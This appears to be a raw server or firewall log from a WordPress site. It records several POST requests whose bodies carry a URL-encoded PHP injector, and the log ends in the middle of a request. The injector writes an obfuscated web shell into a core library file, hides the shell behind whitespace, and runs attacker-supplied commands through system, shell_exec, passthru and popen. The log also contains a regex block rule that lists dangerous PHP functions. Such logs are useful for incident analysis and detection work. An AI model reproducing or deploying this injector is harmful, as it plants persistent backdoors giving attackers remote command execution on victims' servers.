3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLabvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?1\n\nbz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/Base.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%252773%2527%253B%2524component2%2520%253D%2520%252768%2527%253B%2524component3%2520%253D%2520%25276c%2527%253B%2524component4%2520%253D%2520%252765%2527%253B%2524component5%2520%253D%2520%252778%2527%253B%2524component6%2520%253D%2520%252763%2527%253B%2524component7%2520%253D%2520%252770%2527%253B%2524component8%2520%253D%2520%252761%2527%253B%2524component9%2520%253D%2520%25276f%2527%253B%2524component10%2520%253D%2520%25276e%2527%253B%2524component11%2520%253D%2520%252772%2527%253B%2524component12%2520%253D%2520%25276d%2527%253B%2524component13%2520%253D%2520%25275f%2527%253B%2524component14%2520%253D%2520%252774%2527%253B%2524component15%2520%253D%2520%252776%2527%253B%2524token_parser_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252779%2527.%2524component1.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524token_parser_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%2524component2.%252765%2527.%25276c%2527.%2524component3.%25275f%2527.%2524component4.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524token_parser_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component5.%2524component4.%2524component6%2529%253B%2524token_parser_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component8.%2524component1.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%252775%2527%2529%253B%2524token_parser_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component9.%2524component7.%2524component4.%2524component10%2529%253B%2524token_parser_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252774%2527.%2524component11.%2524component4.%252761%2527.%2524component12.%2524component13.%252767%2527.%2524component4.%252774%2527.%25275f%2527.%252763%2527.%2524component9.%2524component10.%252774%2527.%252765%2527.%2524component10.%2524component14.%252773%2527%2529%253B%2524token_parser_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component6.%2524component3.%2524component9.%2524component1.%2524component4%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component15.%252765%2527.%2524component10.%252774%2527.%25275f%2527.%252764%2527.%252769%2527.%2524component1.%2524component7.%2524component8.%252774%2527.%252763%2527.%2524component2.%2524component4.%2524component11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524token_parser_engine1%2529%2529%257B%2524token_parser_engine1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine2%2529%2529%257Bprint%2520%2524token_parser_engine2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine3%2529%2529%257B%2524token_parser_engine3%2528%2524event_dispatcher%252C%2524data_chunk_entity%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524data_chunk_entity%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine4%2529%2529%257B%2524token_parser_engine4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine5%2529%2526%2526function_exists%2528%2524token_parser_engine6%2529%2526%2526function_exists%2528%2524token_parser_engine7%2529%2529%257B%2524tkn_key%253D%2524token_parser_engine5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524tkn_key%2529%257B%2524res_value%253D%2524token_parser_engine6%2528%2524tkn_key%2529%253B%2524token_parser_engine7%2528%2524tkn_key%2529%253Bprint%2520%2524res_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:38","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/Base.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%252773%2527%253B%2524component2%2520%253D%2520%252768%2527%253B%2524component3%2520%253D%2520%25276c%2527%253B%2524component4%2520%253D%2520%252765%2527%253B%2524component5%2520%253D%2520%252778%2527%253B%2524component6%2520%253D%2520%252763%2527%253B%2524component7%2520%253D%2520%252770%2527%253B%2524component8%2520%253D%2520%252761%2527%253B%2524component9%2520%253D%2520%25276f%2527%253B%2524component10%2520%253D%2520%25276e%2527%253B%2524component11%2520%253D%2520%252772%2527%253B%2524component12%2520%253D%2520%25276d%2527%253B%2524component13%2520%253D%2520%25275f%2527%253B%2524component14%2520%253D%2520%252774%2527%253B%2524component15%2520%253D%2520%252776%2527%253B%2524token_parser_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252779%2527.%2524component1.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524token_parser_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%2524component2.%252765%2527.%25276c%2527.%2524component3.%25275f%2527.%2524component4.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524token_parser_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component5.%2524component4.%2524component6%2529%253B%2524token_parser_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component8.%2524component1.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%252775%2527%2529%253B%2524token_parser_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component9.%2524component7.%2524component4.%2524component10%2529%253B%2524token_parser_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252774%2527.%2524component11.%2524component4.%252761%2527.%2524component12.%2524component13.%252767%2527.%2524component4.%252774%2527.%25275f%2527.%252763%2527.%2524component9.%2524component10.%252774%2527.%252765%2527.%2524component10.%2524component14.%252773%2527%2529%253B%2524token_parser_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component6.%2524component3.%2524component9.%2524component1.%2524component4%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component15.%252765%2527.%2524component10.%252774%2527.%25275f%2527.%252764%2527.%252769%2527.%2524component1.%2524component7.%2524component8.%252774%2527.%252763%2527.%2524component2.%2524component4.%2524component11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524token_parser_engine1%2529%2529%257B%2524token_parser_engine1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine2%2529%2529%257Bprint%2520%2524token_parser_engine2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine3%2529%2529%257B%2524token_parser_engine3%2528%2524event_dispatcher%252C%2524data_chunk_entity%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524data_chunk_entity%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine4%2529%2529%257B%2524token_parser_engine4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine5%2529%2526%2526function_exists%2528%2524token_parser_engine6%2529%2526%2526function_exists%2528%2524token_parser_engine7%2529%2529%257B%2524tkn_key%253D%2524token_parser_engine5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524tkn_key%2529%257B%2524res_value%253D%2524token_parser_engine6%2528%2524tkn_key%2529%253B%2524token_parser_engine7%2528%2524tkn_key%2529%253Bprint%2520%2524res_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-length:6675\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/Base.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%252773%2527%253B%2524component2%2520%253D%2520%252768%2527%253B%2524component3%2520%253D%2520%25276c%2527%253B%2524component4%2520%253D%2520%252765%2527%253B%2524component5%2520%253D%2520%252778%2527%253B%2524component6%2520%253D%2520%252763%2527%253B%2524component7%2520%253D%2520%252770%2527%253B%2524component8%2520%253D%2520%252761%2527%253B%2524component9%2520%253D%2520%25276f%2527%253B%2524component10%2520%253D%2520%25276e%2527%253B%2524component11%2520%253D%2520%252772%2527%253B%2524component12%2520%253D%2520%25276d%2527%253B%2524component13%2520%253D%2520%25275f%2527%253B%2524component14%2520%253D%2520%252774%2527%253B%2524component15%2520%253D%2520%252776%2527%253B%2524token_parser_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252779%2527.%2524component1.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524token_parser_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%2524component2.%252765%2527.%25276c%2527.%2524component3.%25275f%2527.%2524component4.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524token_parser_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component5.%2524component4.%2524component6%2529%253B%2524token_parser_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component8.%2524component1.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%252775%2527%2529%253B%2524token_parser_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component9.%2524component7.%2524component4.%2524component10%2529%253B%2524token_parser_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252774%2527.%2524component11.%2524component4.%252761%2527.%2524component12.%2524component13.%252767%2527.%2524component4.%252774%2527.%25275f%2527.%252763%2527.%2524component9.%2524component10.%252774%2527.%252765%2527.%2524component10.%2524component14.%252773%2527%2529%253B%2524token_parser_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component6.%2524component3.%2524component9.%2524component1.%2524component4%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component15.%252765%2527.%2524component10.%252774%2527.%25275f%2527.%252764%2527.%252769%2527.%2524component1.%2524component7.%2524component8.%252774%2527.%252763%2527.%2524component2.%2524component4.%2524component11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524token_parser_engine1%2529%2529%257B%2524token_parser_engine1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine2%2529%2529%257Bprint%2520%2524token_parser_engine2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine3%2529%2529%257B%2524token_parser_engine3%2528%2524event_dispatcher%252C%2524data_chunk_entity%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524data_chunk_entity%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine4%2529%2529%257B%2524token_parser_engine4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine5%2529%2526%2526function_exists%2528%2524token_parser_engine6%2529%2526%2526function_exists%2528%2524token_parser_engine7%2529%2529%257B%2524tkn_key%253D%2524token_parser_engine5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524tkn_key%2529%257B%2524res_value%253D%2524token_parser_engine6%2528%2524tkn_key%2529%253B%2524token_parser_engine7%2528%2524tkn_key%2529%253Bprint%2520%2524res_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:46:41","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/Base.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%252773%2527%253B%2524component2%2520%253D%2520%252768%2527%253B%2524component3%2520%253D%2520%25276c%2527%253B%2524component4%2520%253D%2520%252765%2527%253B%2524component5%2520%253D%2520%252778%2527%253B%2524component6%2520%253D%2520%252763%2527%253B%2524component7%2520%253D%2520%252770%2527%253B%2524component8%2520%253D%2520%252761%2527%253B%2524component9%2520%253D%2520%25276f%2527%253B%2524component10%2520%253D%2520%25276e%2527%253B%2524component11%2520%253D%2520%252772%2527%253B%2524component12%2520%253D%2520%25276d%2527%253B%2524component13%2520%253D%2520%25275f%2527%253B%2524component14%2520%253D%2520%252774%2527%253B%2524component15%2520%253D%2520%252776%2527%253B%2524token_parser_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252779%2527.%2524component1.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524token_parser_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%2524component2.%252765%2527.%25276c%2527.%2524component3.%25275f%2527.%2524component4.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524token_parser_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component5.%2524component4.%2524component6%2529%253B%2524token_parser_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component8.%2524component1.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%252775%2527%2529%253B%2524token_parser_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component9.%2524component7.%2524component4.%2524component10%2529%253B%2524token_parser_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252774%2527.%2524component11.%2524component4.%252761%2527.%2524component12.%2524component13.%252767%2527.%2524component4.%252774%2527.%25275f%2527.%252763%2527.%2524component9.%2524component10.%252774%2527.%252765%2527.%2524component10.%2524component14.%252773%2527%2529%253B%2524token_parser_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component6.%2524component3.%2524component9.%2524component1.%2524component4%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component15.%252765%2527.%2524component10.%252774%2527.%25275f%2527.%252764%2527.%252769%2527.%2524component1.%2524component7.%2524component8.%252774%2527.%252763%2527.%2524component2.%2524component4.%2524component11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524token_parser_engine1%2529%2529%257B%2524token_parser_engine1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine2%2529%2529%257Bprint%2520%2524token_parser_engine2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine3%2529%2529%257B%2524token_parser_engine3%2528%2524event_dispatcher%252C%2524data_chunk_entity%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524data_chunk_entity%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine4%2529%2529%257B%2524token_parser_engine4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine5%2529%2526%2526function_exists%2528%2524token_parser_engine6%2529%2526%2526function_exists%2528%2524token_parser_engine7%2529%2529%257B%2524tkn_key%253D%2524token_parser_engine5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524tkn_key%2529%257B%2524res_value%253D%2524token_parser_engine6%2528%2524tkn_key%2529%253B%2524token_parser_engine7%2528%2524tkn_key%2529%253Bprint%2520%2524res_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:6652\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrJfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nyk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/Base.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%252773%2527%253B%2524component2%2520%253D%2520%252768%2527%253B%2524component3%2520%253D%2520%25276c%2527%253B%2524component4%2520%253D%2520%252765%2527%253B%2524component5%2520%253D%2520%252778%2527%253B%2524component6%2520%253D%2520%252763%2527%253B%2524component7%2520%253D%2520%252770%2527%253B%2524component8%2520%253D%2520%252761%2527%253B%2524component9%2520%253D%2520%25276f%2527%253B%2524component10%2520%253D%2520%25276e%2527%253B%2524component11%2520%253D%2520%252772%2527%253B%2524component12%2520%253D%2520%25276d%2527%253B%2524component13%2520%253D%2520%25275f%2527%253B%2524component14%2520%253D%2520%252774%2527%253B%2524component15%2520%253D%2520%252776%2527%253B%2524token_parser_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252779%2527.%2524component1.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524token_parser_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%2524component2.%252765%2527.%25276c%2527.%2524component3.%25275f%2527.%2524component4.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524token_parser_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component5.%2524component4.%2524component6%2529%253B%2524token_parser_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component8.%2524component1.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%252775%2527%2529%253B%2524token_parser_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component9.%2524component7.%2524component4.%2524component10%2529%253B%2524token_parser_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252774%2527.%2524component11.%2524component4.%252761%2527.%2524component12.%2524component13.%252767%2527.%2524component4.%252774%2527.%25275f%2527.%252763%2527.%2524component9.%2524component10.%252774%2527.%252765%2527.%2524component10.%2524component14.%252773%2527%2529%253B%2524token_parser_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component6.%2524component3.%2524component9.%2524component1.%2524component4%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component15.%252765%2527.%2524component10.%252774%2527.%25275f%2527.%252764%2527.%252769%2527.%2524component1.%2524component7.%2524component8.%252774%2527.%252763%2527.%2524component2.%2524component4.%2524component11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524token_parser_engine1%2529%2529%257B%2524token_parser_engine1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine2%2529%2529%257Bprint%2520%2524token_parser_engine2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine3%2529%2529%257B%2524token_parser_engine3%2528%2524event_dispatcher%252C%2524data_chunk_entity%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524data_chunk_entity%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine4%2529%2529%257B%2524token_parser_engine4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine5%2529%2526%2526function_exists%2528%2524token_parser_engine6%2529%2526%2526function_exists%2528%2524token_parser_engine7%2529%2529%257B%2524tkn_key%253D%2524token_parser_engine5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif